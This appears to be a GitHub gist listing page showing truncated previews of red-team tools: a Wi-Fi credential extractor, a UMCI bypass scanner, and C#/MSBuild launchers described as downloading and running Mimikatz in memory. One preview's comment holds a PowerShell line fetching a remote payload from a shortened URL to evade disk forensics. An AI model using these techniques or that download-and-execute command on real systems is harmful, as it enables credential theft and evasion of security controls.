Leo Loobeek leoloobeek

leoloobeek / Extract-WiFi-Creds.ps1

Created October 3, 2017 02:14 — forked from gfoss/Extract-WiFi-Creds.ps1

Simple script to extract locally-stored Wi-Fi Credentials


	#====================================#
	# Extract Wi-Fi Credentials #
	# greg . foss @ owasp . org #
	# v0.1 -- July, 2017 #
	#====================================#

	# Licensed under the MIT License

	<#

leoloobeek / LoadMethodScanner.ps1

Created July 28, 2017 02:48 — forked from mattifestation/LoadMethodScanner.ps1

A crude Load(byte[]) method scanner for UMCI bypass research

	# Author: Matthew Graeber (@mattifestation)
	# Load dnlib with Add-Type first
	# dnlib can be obtained here: https://github.com/0xd4d/dnlib
	# Example: ls C:\ -Recurse \| Get-AssemblyLoadReference
	filter Get-AssemblyLoadReference {
	param (
	[Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)]
	[Alias('FullName')]
	[String]
	[ValidateNotNullOrEmpty()]

leoloobeek / netkatz.cs

Last active July 26, 2024 04:05

Downloads and Executes Mimikatz In Memory From GitHub

	using System;
	using System.IO;
	using System.Net;
	using System.Text;
	using System.IO.Compression;
	using System.Collections.Generic;
	using System.Configuration.Install;
	using System.Runtime.InteropServices;

leoloobeek / katz.xml

Created July 27, 2017 22:54

Downloads Mimikatz From GitHub, Executes Inside of MsBuild.exe

	<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
	<!-- This inline task executes c# code. -->
	<!-- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe katz.xml -->
	<Target Name="Hello">
	<SharpLauncher >
	</SharpLauncher>
	</Target>
	<UsingTask
	TaskName="SharpLauncher"
	TaskFactory="CodeTaskFactory"

leoloobeek / msbuilder.xml

Created July 24, 2017 13:15

MSBuild Execute Assembly From Environment Variable

	<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
	<!-- This inline task executes c# code. -->
	<!-- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe msbuilder.xml -->
	<!-- Populate the Env Var like this or many other ways: -->
	<!-- $env:TheThingIs = (New-Object Net.Webclient).downloadstring('http://bit.ly/2tDkg2e') -->
	<!-- This has the advantage of keeping the assembly out of the xml on disk if it were ever recovered -->
	<!-- This is just a simple example... MSBuild is a rich scripting engine with lots of abiltiy to customize the build process -->
	<Target Name="Hello">
	<SharpLauncher >
	</SharpLauncher>